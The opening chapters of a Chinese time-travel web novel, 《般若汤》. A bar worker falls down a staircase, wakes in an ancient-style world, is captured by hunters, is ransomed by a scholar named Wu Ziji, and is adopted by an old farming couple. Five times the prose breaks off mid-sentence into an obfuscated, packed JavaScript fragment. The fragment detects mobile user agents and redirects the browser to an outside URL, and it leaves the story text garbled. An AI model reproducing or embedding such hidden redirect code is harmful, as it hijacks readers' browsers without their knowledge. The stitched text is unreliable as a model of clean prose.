《般若汤》 1. 一 楔子 深巷里一灯如豆。 红泥炉的炭火忽明忽暗，映照着铫子里咕噜噜冒出的热气。一片氤氲里厨娘低着头，双手翻飞，须臾包出一堆小馄饨来，下锅煮熟、捞出，一个个馄饨喝饱了热汤，挺着肚子透出喜气，再点几滴香油，撒一把葱花，夜半的巷子里顷刻飘出香味。 巷口转进一人，也是老食客了，坐下点了一碗馄饨，熟稔道：“我闻到味儿就知道老板娘开摊儿了，几天吃不到，还真想这口！” 厨娘话不多，闻言只是点头笑笑。偏那人是个嘴碎的，又问道：“前几日没来，可是你当家的身上又不好了？”她擦了擦额头，只道：“夜里受了点凉，已经大好了。”那人照例欷歔了一番，说她一个女人家多不易云云，然后又和其他食客聊起隔街的秦楼楚馆来。爷们儿在一块说什么的都有，大家伙也不避讳她，妇人家抛头露面干营生，有啥可矫情的？ 刘梨闷声干活，只有偶尔抬头的间隙，看到高墙外灯火通明的秦楼，才生出一丝恍惚。此时此地恰彼时彼刻，倥偬之际，时空交叠，不知我身在何世？ 江南佳丽地，金陵帝王州。 金陵城内，毗临总统府有一片民国建筑群。白日里只见烟锁重楼，庭院深深，加之掩映在梧桐深处，叫人辨不清是何所在。然而，一旦夜幕低垂，这群建筑便“活”了过来。青砖黛瓦披挂起霓虹，在夜色里描摹上斑斓油彩；超跑低吼着穿梭其中，像暗夜里觅食的兽，红男绿女不知何时就会被它拆食入腹。 处处觥筹交错，衣香鬓影里宣泄着人世间的奢靡。 又扯了扯身上的裙子，刘梨搬起一箱啤酒朝楼梯走去。这身制服穿了一个暑假，还是无法习惯，短得勉强遮住大腿，得时刻绷紧神经免得泄了春光。刘梨自作主张加了条黑色打底裤，酒吧经理睁只眼闭只眼没和小丫头计较，依菲姐却总笑她老土。窝在沙发里的美女吐出一口烟圈，红唇轻启，懒懒道：“小梨，在这种地方工作还害什么羞？你身材那么靓，嘴巴再甜点，客人见了还不多点几扎酒？”刘梨抢过她指间的烟掐灭了，笑道：“依菲姐，我只要凑够学费就行，才不要为钱吃亏呢。”“上完学以后呢？”“以后？哪里能想那么远，随便活着呗。”依菲叹口气，“你年纪轻轻，怎么……怎么那么荒芜？”刘梨不惯把话题扯到自己身上，叮嘱她少抽烟，干活挣钱去了。 可钱真不是好赚的。刘梨颠颠手里的酒箱，望望长长的楼梯，叹了口气。今儿是中秋，酒吧爆满，连找个帮忙的人都没有。不记得从地下室往外搬了几趟啤酒，眼看还剩三四级台阶，地下室的门突然被人踢开。 “可找到你了！”一声娇叱。 背着光，看不清来人面貌，只依稀辨出是几个身形姣好的女孩。 “你们找哪位？” “找的就是你这小狐狸精！一个黄毛丫头，也敢撩我男朋友！呸，就凭你？” 一听这话，刘梨也不恼。这样的误会也不是头回遇上，最好的解决办法就是不加理睬，由她们闹够了被自己的男朋友领回去，各回各家各找各妈。 手里的酒箱子越发沉重，刘梨皱了皱眉。 “借过。” 为首的女孩见这丫头对自己的挑衅爱搭不理，心里更是窜起一把火。 “姑奶奶跟你说话没听见吗？再让我看到你勾搭我男人，我让你在这条街都混不下去……” 这些姑娘装市侩吓唬人的话都一个套路，刘梨不免低头苦笑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021127|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你还敢笑!”女孩恼羞成怒，不是不知道她那男友的尿性，看到漂亮女生就想撩拨，当着自己面就要加人家微信。心里忿恨，又架不住闺蜜拱火，几个人找了出来，仗着人多想拿这个小丫头撒撒气，不想这姑娘长的瘦单单，却不是个软骨头。 旁边的女孩见领头的不说话，插嘴道：“你跟我小姐妹好好道个歉，说下次不敢了，我们就不为难你。” 太沉了，刘梨右腿跨上一级台阶，把啤酒箱托在腿上，才道：“我不认识你男朋友，更没有做错事，为什么道歉？” “敬酒不吃吃罚酒，小丫头片子猖狂得很！”不待她们有所反应，门外踢踢踏踏又来了一伙人。小帅哥上前挽起女友，贴上身劝她回去，腻歪一番哄住了，眼珠子又忍不住睇了刘梨一眼。女孩刚压下的火再次升腾起来，这小子惯会勾三搭四、招蜂引蝶，两人分分合合闹了多少回，实在不是良人。想到为这浪荡子蹉跎了青春，姑娘手上攥着劲就朝他抡了过去！ 那厮不妨女朋友突然扇过来，眼睛还瞅着小美人呢，本来酒就有点大，脚下虚浮，竟朝着台阶下的刘梨压过来。楼梯逼仄，累了一天手里还捧箱啤酒，被他这一撞脚下踩空，刘梨整个人向后摔倒，连同手里的酒一起翻滚下去。头磕在梯阶上，好一番天旋地转，天花板和地板迅速在眼前交错，疼痛和眩晕同时侵袭上来，刘梨闭上眼只盼赶快停下，但是这该死的楼梯似乎没有尽头。顶上又踢踢踏踏地嘈杂起来，依稀听得玻璃瓶的碎裂声，女人的尖叫声，还有……依菲姐的叫骂声，之后，便是无尽的黑暗。 地下室有个小气窗通向户外，众人忙着应付一地狼藉，无人注意到一轮硕大的圆月紧贴着窗边，红得像浸了血，闪着诡异的流光…… 2. 二 又一人间 鼻尖传来草木的芬芳，带着露珠特有的清冽。像小时候外婆起早干活，她非要跟着。田垄上飘着淡淡的晨雾，太阳露着脸，却还没有温度。她挎着篮子跑在前面，外婆叫都叫不住她。面前突然飞过一只绿油油的大蚂蚱，她眼神好，蚂蚱跳了几跃，最终停在一丛野麦苗上。她蹑手蹑脚瞄准，扑上去抓它。蚂蚱精坏，蹦起来逃了，野麦苗上的露珠震落一地，连那久远的梦境也搅散淡去。 酸痛！刘梨轻轻动了动身子，不想睁开眼，在外婆叫醒自己前再赖会床吧。身体机能慢慢甦醒，可是……外婆已经不在了，不是吗？ 想到这，刘梨蜷紧了身子。一滴露珠从叶尖滑落，恰好滴在眼睑上，女孩一惊，直挺挺坐了起来。浑身的伤痛也仿佛一齐醒来般，逼得她不得不俯下身，急促地喘气。缓过最初的痛感，五感渐渐恢复。 不对！有什么不对劲！ 刘梨记得自己是从酒吧地下室的楼梯翻滚下来的，可这里是……刘梨茫然看向身处的这片谷地。阳光下，每枚叶片都闪耀着晶莹的光华，几簇野花点缀其间，兀自开得热闹；稍远的地方有一片密林，郁郁葱葱，不时有鸟鸣呖呖传来；再远便是重峦叠嶂，一直延伸到天际。 是天堂吗?可是浑身的疼痛提醒她自己还活着。 “依菲姐？你们在哪?” 刘梨挣扎着站起身，四下张望，没有一丝声音回应她。连刚才的鸟儿都闭了嘴，从树缝后谨慎地打量这个陌生人。 “依菲姐～～大家，大家都在哪？” 心里突然涌出比死亡更大的恐惧，难道又只剩自己一个人？外婆过世时那无力的孤独感再次袭来。刘梨紧紧咬住唇，不让自己流下泪来。 “啊！” 脚底传来钻心的痛。右脚上鞋早已不知所踪，一块酒瓶残渣嵌进肉里，渗出一抹鲜红。挑出玻璃渣，疼痛逼迫刘梨冷静下来，她仔细检查过自己，手肘、膝盖有几处明显擦伤，额头略有钝痛，似乎是起了肿包，幸好神志还算清明。从一地狼藉中捡起两瓶尚完整的啤酒，走出几步又回转，悉数将地上的玻璃渣捡尽，埋在一块狗头石下面，确保它们不会再扎伤人畜，这才瘸着腿向前面的树林走去。 这是谁干的恶作剧？回头让我知道是谁，拼了命也要好好和他掰扯掰扯！走了一程，依旧不见一个活物，刘梨心里继续嘀咕：这会儿有人发现我失踪了吗？应该有人在找我吧？依菲姐，她惯来嘴冷心热，别人不知道，依菲姐定是不放心我的，等出去了，我听她的话，离了酒吧重找工作去，再也不回那个倒霉地方了！ 太阳此刻已经完全升起，阳光透过叶隙，在地上投出斑驳的光影。刘梨抹了把汗，扶着一棵树缓缓坐下，不忘将两瓶酒放在身侧。这时候还把这俩玩艺当宝贝似的带着，她也说不出个缘由，仿佛是一起从灾难中走出的幸存者，从那么高的楼梯摔下仍完好无损，心里不由生出患难与共的意味。 正胡思乱想着，树后突然传来一阵窸窸窣窣的异响。来不及反应，两个黑乎乎的影子已经跳到刘梨面前。受到惊吓，她本能地抓紧瓶子，仿佛那是她仅有的救命稻草。 后背紧紧贴着树干，刘梨惊恐地看向面前两个半人半兽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021128|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的怪物。怪物们皆有一人多高，全身裹着腥臊的兽皮，脸上抹着油彩，看不清面目，只有两双尚分明的眸子不住地打量她，然后落到她裸露的双腿上。感觉到对方目光无礼，刘梨乍着胆子开口：“你们是什么……什么人？”嘴里打了个磕绊，才没把“怪物”两字蹦出口。 见刘梨先开了口，两个“怪物”相视一眼，其中一个上前，手里明晃晃的三叉戟虚空戳了戳她。不能坐以待毙！刘梨不待他们再有动作，拔腿便跑。一个女孩子家，地形不熟，脚又受了伤，哪里跑得快？似乎知道她逃不了，两个怪物也只不紧不慢跟着，像噩梦一样尾随着刘梨。 身边的树木渐渐稀疏起来，出了林子就能到一片开阔地。怪物却在此时分道而行隐去踪迹，刘梨忍着脚痛继续奔走，所经之处绽开一朵朵殷红。伴随一声哨音，左前出现一只怪物，刘梨忙向右跑；须臾，右方又响起哨声，只得再往左跑去。哨声此起彼伏，像牧羊一样把女孩赶入圈套。刘梨觉出不对劲，心中大骇。远远瞧见一片被开垦的农田，说不定附近有人家。刘梨准备张口呼救，念头刚起，脚下一空一头栽进陷阱里。 “哈哈，哥哥，咱哥俩这招真是屡试不爽！” “捞着大货了，晚上打酒喝！” 疼痛又铺天盖地袭来，侵入每一个毛孔里。她这一跤摔得不轻，双耳微微耳鸣，血污迷了眼，怪物下了陷阱站到她跟前都无力避开。来者揪住她衣襟，刘梨使出最后一点气力，对着来人又抓又咬，终是被捉住了，一把扛上肩头。天地颠倒、气血翻涌，眼前一片昏花，只能由着被人掳走。 3. 三 茶肆脱困 “砰！”被重重扔在地上，姑娘疼得闷哼一声。刚才倒悬着，本就胃液翻涌，再加上猎户皮毛的腥臭味相激，刘梨终于忍不住背身干呕起来。 “嘿！我哥俩在这娄山狩猎多年，没想到今天会猎到这么个宝贝!” 话音刚落，茶肆里闲坐的几个客人立刻围拢过来。这儿原是个茅屋改建的简易茶棚，供往来客商歇脚之用，门前旗杆上一个大大的“茶”字，因为无风，此刻只无精打采地挂在半空。天色已近晌午，茶棚里歇着的人不少。大家惊奇地打量刘梨，见地上的人儿蓬头垢面，竟是衣衫不整的，一双长腿真真漂亮，纤细匀称，几处青瘀血痕让人看着就可怜，右脚更是血肉模糊，围观即有人啧啧出声，直呼“造孽”。 茶肆的小老儿认得这俩猎户，上前问道：“五哥、六哥，这是……”秦老六此刻已脱了伪装的皮袍子，随手扔在茶桌上，胡乱抹了把脸，答道：“捡的！俺和俺哥在林子里跟了她好久，只见她孤身一人，脚还受了伤，呵呵，就被俺俩逮回来了。好家伙，烈得很！瞧这给我抓的！” 众人听了这话，神色各异。小老儿边给两人倒茶边问道：“那二位打算怎么安置她？”“这……俺还没想好！”“不会是抢回家做媳妇吧？”有人起哄道。 “癞蛤蟆吃上天鹅肉喽！” 大伙谈论的主角瘫坐在地上，对众人的话充耳未闻，脑中只有一个念头：好多的长发男人！ 是的，好多的长发男人！满眼看去，所有人都束着发，穿着打扮皆不是当世的装束。 “这是……这是哪？你们在举办汉服雅集?”姑娘哑声问道。 “姑娘，这儿是娄山，前面那条官道叫‘娄山道’。再向西走两个时辰，就到五里泷了。”一个面色和蔼的老者答道。 刘梨一片茫然，他说的地名自己从未听过。 “不知道不要紧，反正以后你跟我在山里安生过日子就行。”秦老六凑过脸来，轻佻地在刘梨颊上捏了一把，指尖一片柔润。 “嚯，真就要留下过日子了？”人群里有人不屑，“也不怕来路不正，坏了门庭。” 这话说得酸溜溜的，“我秦家怕什么坏了门庭？这女人老天爷赏我的，这就是她的来路！”秦老六瞪着牛眼狠狠道。 “老六，你说‘跟你’过日子，那你哥咋办？”另有人挑拨。 哥俩愣了愣神，脸色不明地对视一番，还是秦老六粗声道：“你们管不着！反正我们仨把日子过好比什么都强。”众人又是一阵哄笑，秦老六不以为意，回味刚才的触感还想伸手去捏刘梨下巴，唬得她连连后退。 “红颜祸水，红颜祸水，老秦家恐是要兄弟阋墙，家宅不宁咯！”一直未发话的秦老五看向说话的人，是一位贩丝的客商，平素也曾打过照面的，不禁挑高了声音问道：“哦？那依赵老板的意思呢？” 赵老板凑上前道：“我看不如你们将她卖予我，得了银两二位再各置家业，岂不欢喜?”众人立刻看透赵老板的心思，又是一阵哄笑。赵老板也不恼，指了指桌上的啤酒瓶，“这俩玩意儿也一并卖了我吧，价钱好商量。” 秦老五虽不懂这俩瓶子的路数，却也知道是个稀罕物，心里又着实舍不得这捡来的漂亮姑娘。他自忖也算见过世面的，便是县里的花楼也开过荤，没见过有这妞俊俏的。可又担忧真和他们说的那样兄弟俩以后生出龃龉来，他哥俩从来跟一个人似的，若为个女人争拧起来，以后怕是要兄弟离心。心里想脸上就带起了难色，赵老板见有戏，掏出一把碎银拍在桌上，“二两！人和瓶我带走了！” 话音甫落，一片嘘声。 “赵老板也忒抠搜了，二两将将够买头猪！”众人哄笑。 “回家抱老母猪吧您嘞！”不知谁插嘴，惹得老赵臊了一脸。 “我出五两！”“八两！”座下有识货的，也跟着叫起了价。刘梨心中暗苦，脸上露出悲戚之色，纤弱之姿更令人生起怜爱来。 赵老板不甘罢手，狠狠心，又掏出一锭银子，“十五两！”十五两，可以买上两三个小丫头了。众人这会子都噤了声，有人怂恿秦家兄弟赶紧成了这笔买卖，免得赵老板反悔。 “三十两。”一个清淡的声音传出，如湖中乍起涟漪，连刘梨也不由得抬头望去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021129|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角落里坐着两位客人。一位头发花白上了年纪的老家人，一位年纪稍轻，文士打扮，穿件半旧的褂子，脸上胡子拉茬，看不清面目。年轻人放下茶杯，重复道：“我出三十两。” 秦老五环视一圈，视线最后落到文士身上，“成交！不过我们兄弟可要现银。” 年轻人打开桌上一个包袱，白花花的银子露了出来。座下一片窸窣。 “诸位行走江湖，理应多结善缘。眼下这姑娘遭了难，君子行义，各位不但不帮忙，还在此羞辱于她！礼崩乐坏，纲常扫地以尽，如今我大庥子民真同禽兽一般吗？！”眼神扫过，一众人皆不做声。 又转向秦家兄弟，说道:“二位今天这般大动静，他日这姑娘家里寻来，少不得去官府告你个拐带之罪。我朝法治严明，两位恐免不了一场牢狱之灾，哪里还有今天这般逍遥自在？” “怎的……怎的就牢狱之灾了？”秦老六嗫嚅道。 秦老五比他兄弟略沉得住气，“这丫头身份不明，也不知是个什么来路，有没有家人寻来还难说。再者我朝并不禁人市，今日价高者得，诸位都是个见证，不干我兄弟底事。” “你也说不知她是个什么来路，保不齐就是哪家的逃奴，到时候本家只问你个窝藏之罪就够你喝一壶的。彼时在场的各位可就是人证了，衙差问话，各位可要知无不言啊。”这年头谁想和衙门扯上干系？扫视四周，刚才起哄的一群人都喏喏坐了回去，不想自找不快。赵老板暗想今日若是私下见到秦家兄弟就好了，两下悄悄成了交易，哪像现在众目昭彰，便是有手段也使不得，娇儿再美也得歇了那心思。 秦家兄弟见场面冷了下来，正不知如何自处，又见那年轻人道：“君子口不妄言，所以存诚。这三十两我既拿了出来，还请两位收下，则当二位的辛苦钱。”怕银子跑了，秦家兄弟忙将包袱拢过来。年轻人看他们收了银子，继续说道：“两位既收了银子，便算作在下替这位姑娘赎了身，由她自去。”又看向座下众人，“也劳烦诸位别再为难于她。” 说罢不再盘桓，径自与那老家人上了门外一辆马车，往西去了。 4. 四 陌路相随 “彭老，咱们刚刚露了财，已是大忌，你将马车赶这么慢，待会遇上麻烦可怎好？” “伍爷，您看后头……从刚才就跟着。” 车里的人掀起帘子往后看了一眼，不作声，又放下帘子。 他们从茶肆一离开，刘梨立刻就跟上了，万不敢再留在那里。被一群男人环伺，她怕再生事端。脚底已经疼得麻木，只要能离开，走十步和走百步于她都是同样痛苦，往前争一争，或许还有一线生机。 许是不久前下过雨，道路泥泞，马车没有撒开来跑，一直若即若离行在前头。刘梨不敢松懈，咬牙勉力跟着。双腿像灌了铅一样，越走越沉重，右腿后来几乎就是拖行。踩上一行深深的辙印，脚下一崴便跪倒在地，若不是两个瓶子杵在泥地里缓冲了一下，怕是要摔个狗啃泥。 前方的马车倏忽停住，老家人探出半个身子，笑着朝她招招手。如奉圣诏，刘梨赶紧起身追上去。 彭老拍拍车儿板子，“姑娘，快坐上来。”刘梨感激一笑，扶着车轼坐在彭老旁边，又拱手朝车舆内谢道：“多谢公子相救！” 隔着帘子，没听见里面回应。 彭老扬起鞭，马车继续前行，速度快了不少。刘梨听着车轮吱吱呀呀转，这就走了？以后往哪里去？自己的命运走向何方？ 身边递来一只水囊，刘梨忙谢过，彭老朝前看着路，问道：“姑娘以后有什么打算？” 他不问以前，只问以后，刘梨很是感激。咽下一口水，回道：“家里没人了，以后，以后……”不知该怎么说下去，眼前一切如果只作是一场荒诞梦境，梦里梦外，她都是孑然一身。以前有外婆在，日子简单也是欢愉的，如今只剩下自己一个……再也不敢往远处想。想的越多失望越多——她失望惯了，自然知道。前路彷徨，似乎真是落入绝境了。彭老叹口气，知道是个苦命人，便没再追问。 须臾，车厢内响起声音：“彭老，前儿刘庄的庄头和我有点子账还没理清，你拐个道我们再进庄一趟。”彭老高声应了。 不久马车驶入一条小道，两边田间整整齐齐的大片新绿，长势喜人。“今年一定是个丰年，东家可要放心了。”彭老自言自语道。 田垄上有人看到马车，远远迎了过来。 “伍爷，可是有什么吩咐，怎的这么快便回来了？”庄头是个四十多岁的中年人，挽着裤脚，一腿的泥。 伍爷掀起车帘一角，那手指骨分明，关节和指腹略有薄茧，一看就是长久执笔所致。“替东家走了一程，想起有点事前日没交待清楚，特回来嘱咐一番。”庄头在前领马车入庄，车上多出个姑娘家也权当没看见。 村口的刘家是对老夫妻，马车行到刘家门口，伍爷让彭老把马车停住，自己下车进刘家和刘婆说了些话，就和庄头去了。刘婆眼睛不大好，请彭老和刘梨进院歇息，又张罗着给两人让座、倒水。彭老灌下一大碗水，自去井台打水饮马。刘婆在灶间摸索了一阵，唤刘梨进去。 “婆婆，您叫我何事？” 刘婆拉住刘梨的手，指着一只冒热气的木盆，“伍先生和我说你身上有伤，姑娘，来，先拿热水洗洗，待会我给你上药油。”之前一直绷着，此刻忽来的一点温情让刘梨瞬间泪意上涌，抿着唇点点头，又想到刘婆看不见忙脆生生应了。 温热的水舒缓了神经，粗略擦洗一番，刘梨又坐到井台边挑净脚底的碎屑细刺，再用冰凉的井水激了一激，疼得她龇牙咧嘴。刘婆领她进东屋，“老瞎婆子眼睛不好，平日难免磕着绊着，家里这才常备药油，姑娘不嫌弃我给你揉揉。”刘梨忙谢过。 手下揉着姑娘的胳膊，“多好的肉皮啊，天可怜见受这一身伤。”刘婆的掌心有些粗糙，可是温暖有劲，让刘梨想起外婆，也是这么唠唠叨叨地心疼她。 “婆婆，您这药油真好，一抹上我就不疼啦。”刘婆知道姑娘是宽慰她，拍拍她手背，转身翻出一套衣裳，让刘梨换上，“家里穷困，这身衣裳原是我闺女的，你不嫌弃呀就换上。”刘梨赶紧接过。 一身雪青的衣裙，浆洗的很干净。刘梨没穿过这样的衣裳，费了会工夫才拾掇好，院子里有说话声，她犹豫了一会才挑帘而出。 伍子骥端着陶碗，听刘婆絮叨着家里事，刘老儿刚从地里回来，默默和庄头陪坐在侧。房门轻响，一袭淡紫的身影映入眼帘——寻常的农家小院，突然开出一朵朝颜花来，袅袅婷婷，说不尽的温婉柔美。 刘梨手指在袖底绞了绞，无措地低着头。她不会盘髻，编了根大辫子垂在耳畔，乌黑的发辫衬得香腮胜雪，就那么羞怯怯站着，透着这个年纪女孩的娇美。 一直默不作声的刘老儿，张了张嘴，“二娘？是我家二娘吗？”彭老在后拿胳膊肘顶了顶他，低声道：“这就是我刚才跟你说的那姑娘。”“哦。”声音略带失望。 刘梨上前，朝众人深深鞠躬，眼神清亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021130|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，真诚道：“刘梨多谢大家今日相助，恩重如山，感深至骨，往后必当报答诸位的恩情！” “姑娘言重了，不过举手之劳，不必挂怀。”伍子骥连日奔波，脸上透着疲惫，声音依旧温润。 庄头是个精明通透的，径直问道：“姑娘以后有什么打算？” 刘梨想了想，还得将自家来历说个清楚，斟酌道：“早年双亲因一场疫病去世，后一直跟随外祖母生活。去年初，外祖母也离我而去”，说到此又红了眼眶，哽声道：“乡邻容不得我，将我赶了出来。辗转多地，早不知来路去路了。”刘婆听了，忙把人搂入怀里轻声抚慰。 “可惜我和伍爷这趟出来是替东家办差，不便带着你，不然你跟我们回府，总好过在外颠沛流离。”伍子骥闻言递给彭老一个眼神，“府里添置人口，哪是你我便能决定的？” 一时都噤了口。院外的马儿扇了扇耳朵，颇有些不耐烦。 刘老儿看着抱在一起的妇人，迟疑道：“要不……先在我家住着？家里贫寒，多张嘴吃饭还是过得下去的。”刘婆听丈夫开口，立刻应和这个主意很好。 庄头忙对刘梨道：“还不赶紧跪下认干爹干娘？” 刘梨睁着泪眼，还有些愣神。她下意识看向伍子骥，对这个男人已然产生莫名的信任。对方微微点了点头，刘梨立即敛衽下拜，“干爹，干娘，受女儿一拜！”郑重磕了三个头，刘婆忙将她扶起。 “好哇，刚才听得你也姓刘，这不正是老天爷送到老刘家的闺女嘛！”庄头拍拍刘老儿，“上天终归是给你补了一个女儿。”刘老儿笑着连连点头。 一桩事了，伍子骥起身告辞。有差事在身，耽搁这半日，大伙儿知留他不住。一行人送至路口，伍子骥和彭老一起坐在车头，朝众人告辞。刘梨看着他们，觉得自己好似个流浪的犬儿，被好心人收留一场，给它找了个住处，以后如何就凭自己了。伍子骥像是感应到她的不安，看过来的眼神温和，“保重。”他留着连鬓的须髯，一双眼却是清亮的，叫人心安。 车走远了，庄头拿出个拎篮递给刘梨，说是伍先生让这会再交给她的。打开来看，是她的瓶子和一只荷包。瓶子被泥水裹着，别人看不出个名堂；荷包刘梨见过，是伍先生身上那只，靛蓝无纹，摸着里面应是些散碎银子。刘梨抬头望去，车行渐远，已看不分明。车上的人回顾，见那抹雪青身影立在葱茏间，直至渐行淡去，方不再回首。 5. 五 耕植自给 天色微明，刘家的灶房里就升起了炊烟。刘婆披衣出来，听得灶房动静，唤道：“梨儿，你怎的又这么早起？” “吵醒干娘了？这灶火我老是生不好，早点起来才不误事。小灶上焐着热水，我兑点给您漱洗。” “能误什么事啊，你伤还没好利索呢，老婆子眼瞎，照应自己没问题的，你不要事事亲为，姑娘家养好伤，别留下病灶来。” “我省得的。”陌生的环境起初自然不习惯，但刘梨一向是个勤快的，以前照顾家人、勤工俭学，同时做几份兼职她都能兼顾得很好，虽说累，总比空下来胡思乱想强。开始也插不上手，就从旁看着刘婆怎么做她跟着学，现在生火做饭、洗衣洒扫全做的有模有样了。 那边刘老儿也起了身，刘梨盛粥摆饭，三口儿围坐吃早饭。刘梨边往干娘碗里夹小菜，嘴上不忘问干爹可还合口味。饿了整夜的肚子，这会一碗热粥喝下去，熨得人舒舒服服的，处处透着妥帖。“合口味，合口味，比你干娘做得好。” “老东西，吃我几十年饭食，倒委屈你了？” “老婆子，不瞒你说，你眼睛坏了后，我顿顿饭都吃的提心吊胆，要么怕你烧了灶房，要么怕饭菜择不干净。那回，还拿猪食给我盛了一大碗！” “呸！猪食你不也吃了，还叫我再来一碗呢！”三人都笑出了声，农舍里迎来久违的欢欣。刘梨笑着笑着突然觉得这样挺好，从前孤身一人，仿佛荒凉地活着，现下有干爹干娘怜惜，日子虽过得清苦，心里却是满当当的。 那么，就尝试安定下来吧。 起身又给干爹盛了一碗，他待会下田，须得吃饱了。刘老儿看着干闺女事事周到，满意极了。原先也有点担忧，姑娘现用的穿的，都是前头苦命女儿的，怕她忌讳嫌弃，刘梨却知足的很，将家里收拾得干净利索，老两口的衣物饭食俱照应妥当，前儿还要跟他下地去，被老婆子拉住了。 “待会让你干娘带你村里转转，四下认识认识，这时节不忙，姑娘家多走动走动。” 刘梨其实有点怕出门，她本不是个擅交际的，又怕旁人问起身世说错话，只随口应了。饭毕只推说脚疼，不愿出门，陪干娘坐院里说话。 刘婆眼睛不好，倒有个编筐的手艺，即使看不见手上却极有分寸，编的东西细密结实，在这一方还有点名气，多少能贴补点家用。刘梨帮不上忙，拿了笸箩学做针线，但始终不得法。抬头揉揉脖子，望向墙边一棵树。 她着意和刘婆说话，问道：“干娘，咱家种的那是什么树？” 刘婆手上没停，答道：“说是木枣树，还是二娘在的时候老大移回来种的，知道妹妹馋果子，从山上特意背了回来，可惜这么多年没结过果，二娘直到走都没吃上。”刘梨不意戳了干娘伤心事，有些讷讷。“老话说‘树挪死、人挪活’，树活了，人却没了。”“是我不好，平白惹干娘伤心了。”“都是以前的事了，你不必在意，二娘生下来身体就不好，我们都有准备。前两年我那大小子去城里学徒，后来也就没人侍弄那树了。”刘梨听刘婆说过大儿子在城里拜了师傅，仨俩月才回来一趟，也不知这素未见面的哥哥怎么看待她这半路的妹妹。不及她多想，院外传来人声。 “刘家婆婆在么？” “听声音是小柳儿吧？” “婆婆耳力真好”，外头走进个一身绿的小丫头，扎两个丫髻，边走边说道：“我刚从舅舅家回来，听爹爹说刘家来了个仙女样的姐姐，特来瞧瞧。”说着一双眼滴溜溜打量刘梨，笑靥盈盈。 “这是庄头家的小柳儿，最是个精怪的，这是我女儿，你唤她梨姐姐吧。”刘梨见过礼，进屋给小柳儿冲了碗糖水。“梨姐姐真好看，跟年画上的人似的。要知道姐姐来了，我就不在舅舅家耽搁这么久，早些回来陪姐姐了。”刘婆笑弯了眼，“你舅家都还好吧？”“好着呢！舅家的表嫂刚给表哥添了个大胖小子，一家人喜得跟什么似的。舅母去城里的万宝银楼给孙子打了副麒麟锁，我跟着去了，只是没见到又青哥哥。”提到这她脸上带了点遗憾。“你又青哥哥不在柜面上伺候，和他师傅在工坊里做事，自然是见不到的。”几个人又说了会闲话，刘梨跟小柳儿请教针线，小丫头年岁不大，女红倒是不错。半日下来两人熟络很多，约好明日一起去浣衣。 庄子里几乎家家有井，可是去村外溪边浣洗却是姑娘婶子们最爱的“社交活动”。小柳儿是个社牛，一路呼朋引伴，大伙和她招呼的同时也暗暗观察刘梨，都知道是刘家新认的干闺女，有胆大的媳妇子，直接问：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021131|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘家姑娘，听说你是伍先生带到我们庄的，你和伍先生什么关系啊？”刘梨正愁怎么答复，小柳儿抢道：“我爹说了，梨姐姐是伍先生远房的亲戚，不过以后就是刘家的女儿了。”“那伍先生是个什么样的人？家里还有什么人？”一个圆圆脸的姑娘问道。“王二丫你问题那么多，打的什么主意？”小柳儿叉腰横在刘梨前头，替她把问题挡了回去。其他姑娘媳妇听柳儿这么说，都打趣那叫王二丫的姑娘，她倒不恼，大大方方说道：“伍先生长得英俊，人又斯文，跟谁说话都和和气气的，可好听了。我多问两句又怎么了？”大伙又是一阵笑。刘梨回想那张胡子拉碴的脸，英俊？ 